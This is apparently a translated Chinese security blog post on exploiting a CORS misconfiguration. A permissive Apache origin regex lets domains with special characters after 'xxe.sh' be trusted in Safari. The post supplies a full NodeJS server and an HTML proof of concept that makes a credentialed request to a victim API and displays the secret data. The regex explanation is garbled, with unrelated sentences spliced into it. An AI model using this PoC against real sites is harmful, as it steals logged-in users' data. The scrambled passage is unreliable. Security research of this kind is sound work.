文章插图
价值百万美元的问题:
在利用CORS Misconfigurations时 , Safari如何处理特殊字符?
以下面的Apache配置为例:
SetEnvIf Origin "^https?://(.*.)?xxe.sh([^.-a-zA-Z0-9]+.*)?"实现从xxe.sh , 所有子域以及这些域上的任何端口进行跨域访问 。
AccessControlAllowOrigin=$0 Header set Access-Control-Allow-Origin %
{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
下面是正则表达式的分解:
[^.-a-zA-Z0-9] = 不匹配这些字符:"." "-" "a-z" "A-Z" "0-9" + = 匹配次数:匹配上面的这个API无法访问前面例子中的域 , 并且其他常见的绕过方法也无济于事 。针对*.xxe.sh的子域接管或XSS攻击 , 只能用来窃取数据 , 但是 , 我们可以在此基础上发挥创造性!
字符一次或无数次 .* = 除行终止符之外的任意字符
我们知道 , 任何诸如*.xxe.sh后跟字符. – a-z A-Z 0-9的域名都是不会被信任的 , 但是 , 在字符串"xxe.sh"之后有空格的域名的情况又如何呢?
文章插图
我们看到它是被信任的 , 但是任何普通浏览器都不支持这样的域 。
由于正则表达式匹配字母数字ASCII字符以及. - , 所以 , "xxe.sh"之后的特殊字符是被信任的:
文章插图
这种域名在现代通用浏览器Safari中被支持 。
利用先决条件:
具有泛解析记录的域指向您的机器 。和大多数浏览器一样 , Apache和Nginx也不喜欢这些特殊字符 , 所以使用NodeJS为html和JavaScript提供服务更容易 。
NodeJS
[+] serve.js
var http = require('http'); var url = require('url'); var fs = require('fs');var port = 80 http.createServer(function(req, res) { if (req.url == '/cors-poc') { fs.readFile('cors.html', function(err, data) { res.writeHead(200, {'Content-Type':'text/html'}); res.write(data); res.end(); }); } else { res.writeHead(200,{'Content-Type':'text/html'}); res.write('never gonna give you up...'); res.end(); } }).listen(port, '0.0.0.0'); console.log(`Serving onport ${port}`);
在同一个目录中 , 保存以下内容:[+] cors.html
<!DOCTYPE html> <html> <head><title>CORS</title></head> <body onload="cors();"><center> cors proof-of-concept:<br><br> <textarea rows="10" cols="60" id="pwnz"></textarea><br> </div> <script> function cors() { var xhttp = newXMLHttpRequest(); xhttp.onreadystatechange = function() { if(this.readyState == 4 && this.status == 200) {document.getElementById("pwnz").innerHTML = this.responseText; } };xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);xhttp.withCredentials = true; xhttp.send(); } </script>
通过运行以下命令来启动NodeJS服务器:node serve.js &
正如之前所述 , 由于正则表达式与字母数字ASCII字符和. -相匹配 , 所以 , "xxe.sh"之后的特殊字符将获得信任:因此 , 如果我们打开Safari并访问http://x.xxe.sh{./cors-poc , 就能够成功地从易受攻击的端点中窃取数据 。
文章插图
此外 , 我还注意到 , 字符_(在子域中)不仅在Safari中受支持 , 而且Chrome和Firefox也支持该字符!
实际测试
考虑到这些特殊字符 , 找出Access-Control-Allow-Origin头文件中反映了哪些域可能是一项冗长而费时的任务:
文章插图
TheftFuzzer介绍:
为了节省时间并提高效率 , 我决定编写一个工具对相应的CORS配置进行模糊测试 , 以获取允许的域名 。该工具是用Python编写的 , 大家可以在Github上下载到这个工具 , 如果你对该工具有任何改进意见 , 请随时在Github上向我提出!
推荐阅读
- 利用YOLOV3检测算法来实现人物定位与距离计算,打造全球定位系统
- 激光美容后遗症会有那些呢?
- 茶之利用与发展,茶如何与其他物品进行搭配
- 茶的最初发现利用,茶饮为人类的健康作出了巨大的贡献
- 淘宝创业的形式 你认为利用淘宝网店创业的关键是什么
- 利用shell脚本命令配置好完整的Samba共享服务器
- 茶色素成分的多样性,茶的发现和利用茶疗历史介绍
- 国家对私自补课的规定是什么?
- 朵贝贡茶是什么茶,利用朵贝品牌
- 茶叶的利用与传播,茶与天主教的联系